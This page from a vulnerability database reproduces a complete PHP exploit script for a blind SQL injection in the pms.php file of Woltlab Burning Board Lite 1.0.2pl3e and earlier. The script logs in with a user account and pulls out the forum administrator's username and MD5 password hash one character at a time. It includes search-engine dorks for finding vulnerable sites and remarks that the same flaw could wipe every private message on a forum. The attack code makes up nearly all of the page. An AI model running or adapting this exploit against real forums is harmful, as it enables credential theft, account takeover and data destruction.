Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

Woltlab Burning Board Lite <= 1.0.2pl3e (pms.php) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 37 Views

Woltlab Burning Board Lite 1.0.2pl3e SQL Injection Exploi

Code

                                                &#60;?php
print_r(&#39;
-------------------------------------------------------------------------------
Woltlab Burning Board Lite &#60;= 1.0.2pl3e pms.php / sql injection exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

dork: &#34;Powered by Burning Board&#34; -exploit -dork -johnny
version specific:
&#34;Powered by Burning Board Lite 1.0.2&#34; &#34;2001-2004 WoltLab GmbH&#34;
-------------------------------------------------------------------------------
&#39;);
/*
works regardless of php.ini settings
against MySQL &#62;= 4.1
*/
if ($argc&#60;6) {
print_r(&#39;
-------------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path user pass action OPTIONS
host:      target server (ip/hostname)
path:      path to wbblite
user/pass: valid user credentials
action:    1 vulnerability check
           2 disclose admin credentials
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]:    &#34;    a proxy
Example:
php &#39;.$argv[0].&#39; localhost /wbblite/ rgod pass 1 -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /wbblite/ rgod pass 2 ls -la -p81
-------------------------------------------------------------------------------
&#39;);
die;
}

/*
short explaination:

pms.php, near lines 140-160, sql injection in $_POST[&#39;pmid&#39;] argument:

...
if(isset($_POST[&#39;action&#39;]) && $_POST[&#39;action&#39;]==&#34;delmark&#34;) {
 if($_POST[&#39;pmid&#39;] && count($_POST[&#39;pmid&#39;])) $pmids=implode(&#39;,&#39;,$_POST[&#39;pmid&#39;]);
 else $pmids=&#34;&#34;;
 if($pmids) {
  if($_POST[&#39;folderid&#39;]==&#34;outbox&#34;) {
   $db-&#62;query(&#34;DELETE FROM bb&#34;.$n.&#34;_privatemessage WHERE senderid=&#39;$wbbuserdata[userid]&#39; AND deletepm=1 AND privatemessageid IN (&#34;.addslashes($pmids).&#34;)&#34;);
   $db-&#62;unbuffered_query(&#34;UPDATE bb&#34;.$n.&#34;_privatemessage SET deletepm=2 WHERE senderid=&#39;$wbbuserdata[userid]&#39; AND privatemessageid IN (&#34;.addslashes($pmids).&#34;)&#34;,1);
  }
  else {
   $db-&#62;query(&#34;DELETE FROM bb&#34;.$n.&#34;_privatemessage WHERE recipientid=&#39;$wbbuserdata[userid]&#39; AND deletepm=2 AND privatemessageid IN (&#34;.addslashes($pmids).&#34;)&#34;);
   $db-&#62;unbuffered_query(&#34;UPDATE bb&#34;.$n.&#34;_privatemessage SET deletepm=1 WHERE recipientid=&#39;$wbbuserdata[userid]&#39; AND privatemessageid IN (&#34;.addslashes($pmids).&#34;)&#34;,1);
  }
 }
 header(&#34;Location: pms.php?folderid=$folderid&sid=$session[hash]&#34;);
 exit();
}
...

we have an addslashes() but no quotes...

you can ask true/false questions to the database by deleting / sending private messages to yourself...

this one discloses the admin username/md5 hash pair

note : if working, this one will preserve private messages with a subject other than &#39;sun-tzu&#39;
but... modifying queries an attacker can easily delete all forum private messages
*/

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$action=(int)$argv[5];
$port=80;
$proxy=&#34;&#34;;
for ($i=5; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
if (($action!=1) and ($action!=2)) {echo &#34;wrong action...&#34;;}

$data   =&#34;l_username=$user&l_password=$pass&send=send&#34;;
$packet =&#34;POST &#34;.$p.&#34;login.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Accept: text/plain\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$cookie=&#34;&#34;;
for ($i=1; $i&#60;count($temp); $i++)
{
  $temp2=explode(&#34; &#34;,$temp[$i]);
  $cookie.=&#34; &#34;.trim($temp2[0]);
  if ($cookie[strlen($cookie)-1]!=&#34;;&#34;){$cookie.=&#34;;&#34;;}
}
if ((!eregi(&#34;userpassword&#34;,$cookie)) | (!eregi(&#34;userid&#34;,$cookie)))
{die(&#34;failed to login...you need valid user credentials to to do this...&#34;);}
else {
  //echo &#34;cookie -&#62; &#34;.$cookie.&#34;\n\n&#34;;
}

$temp=explode(&#34;index.php?sid=&#34;,$html);
$temp2=explode(&#34;\&#34;&#34;,$temp[1]);
$sid=trim($temp2[0]);
//echo &#34;sid -&#62; &#34;.$sid.&#34;\n\n&#34;;

if ($action==1)
{
$sql=&#34;suntzu/*&#34;;
$sql=urlencode($sql);
$data =&#34;action=delmark&#34;;
$data.=&#34;&pmid[0]=$sql&#34;;
$data.=&#34;&folderid=outbox&#34;;
$packet =&#34;POST &#34;.$p.&#34;pms.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (!eregi(&#34;You have an error in your SQL syntax&#34;,$html))
{
  die(&#34;not vulnerable...\n&#34;);
}
else
{
  echo &#34;vulnerable...\n&#34;;
}
}
elseif ($action==2)
{
function send_pm()
{
    global $user,$sid,$p,$host,$cookie;
    $data =&#34;recipient=$user&#34;;
    $data.=&#34;&subject=sun-tzu&#34;;
    $data.=&#34;&iconid=0&#34;;
    $data.=&#34;&mode=0&#34;;
    $data.=&#34;&message=suntzoi&#34;;
    $data.=&#34;&parseurl=1&#34;;
    $data.=&#34;&showsignature=1&#34;;
    $data.=&#34;&savecopy=1&#34;;
    $data.=&#34;&pmid=&#34;;
    $data.=&#34;&send=send&#34;;
    $data.=&#34;&action=newpm&#34;;
    $data.=&#34;&sid=$sid&#34;;
    $data.=&#34;&submit=Send+Message&#34;;
    $packet =&#34;POST &#34;.$p.&#34;pms.php HTTP/1.0\r\n&#34;;
    $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
    $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
    $packet.=&#34;User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n&#34;;
    $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
    $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
    $packet.=&#34;Connection: Close\r\n\r\n&#34;;
    $packet.=$data;
    sendpacketii($packet);

}

function check_pm()
{ global $p,$host,$cookie,$html;
  $packet =&#34;GET &#34;.$p.&#34;pms.php HTTP/1.0\r\n&#34;;
  $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
  $packet.=&#34;User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n&#34;;
  $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
  $packet.=&#34;Connection: Close\r\n\r\n&#34;;
  sendpacketii($packet);
  if (eregi(&#34;sun-tzu&#34;,$html)){return true;}
  else {return false;}
}

function my_encode($my_string)
{
  $encoded=&#34;CHAR(&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}
    else {$encoded.=&#34;,&#34;;}
  }
  return $encoded;
}

send_pm();
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password=&#34;&#34;;
echo &#34;md5 hash   -&#62; &#34;;
while (!strstr($password,chr(0)))
{
    for ($i=0; $i&#60;=255; $i++)
    {
        if (in_array($i,$chars))
        {
            //original query;
		    //DELETE FROM bb1_privatemessage WHERE senderid=&#39;1&#39; AND deletepm=1 AND privatemesageid IN ([injection here])
            $sql=&#34;9999999)/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(password,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),1,0))/**/FROM/**/bb1_users/**/LIMIT/**/1)/**/AND/**/subject=&#34;.my_encode(&#34;sun-tzu&#34;).&#34;/*&#34;;
            $sql=urlencode($sql);
            $data =&#34;action=delmark&#34;;
            $data.=&#34;&pmid[0]=$sql&#34;;
            $data.=&#34;&folderid=outbox&#34;;
            $packet =&#34;POST &#34;.$p.&#34;pms.php HTTP/1.0\r\n&#34;;
            $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
            $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
            $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
            $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
            $packet.=&#34;Connection: Close\r\n\r\n&#34;;
            $packet.=$data;
            sendpacketii($packet);
            if (eregi(&#34;You have an error in your SQL syntax&#34;,$html)){echo $html; die(&#34;\nunknown query error or wrong MySQL version...&#34;);}
            sleep(1);
            if (!check_pm()) {$password.=chr($i);echo chr($i);send_pm();break;}

        }
        if ($i==255) {
            die(&#34;\nExploit failed...&#34;);
        }
    }
$j++;
}
echo &#34;\n&#34;;

$j=1;$admin=&#34;&#34;;
echo &#34;admin user -&#62; &#34;;
while (!strstr($admin,chr(0)))
{
    for ($i=0; $i&#60;=255; $i++)
    {
            $sql=&#34;9999999)/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(username,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),1,0))/**/FROM/**/bb1_users/**/LIMIT/**/1)/**/AND/**/subject=&#34;.my_encode(&#34;sun-tzu&#34;).&#34;/*&#34;;
            $sql=urlencode($sql);
            $data =&#34;action=delmark&#34;;
            $data.=&#34;&pmid[0]=$sql&#34;;
            $data.=&#34;&folderid=outbox&#34;;
            $packet =&#34;POST &#34;.$p.&#34;pms.php HTTP/1.0\r\n&#34;;
            $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
            $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
            $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
            $packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
            $packet.=&#34;Connection: Close\r\n\r\n&#34;;
            $packet.=$data;
            sendpacketii($packet);
            sleep(1);
            if (!check_pm()) {$admin.=chr($i);echo chr($i);send_pm();break;}
            if ($i==255) {die(&#34;\nExploit failed...&#34;);
        }
    }
$j++;
}
echo &#34;\n&#34;;
}
?&#62;

# milw0rm.com [2007-02-03]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
woltlab burning board litesql injectionexploitpms.php
37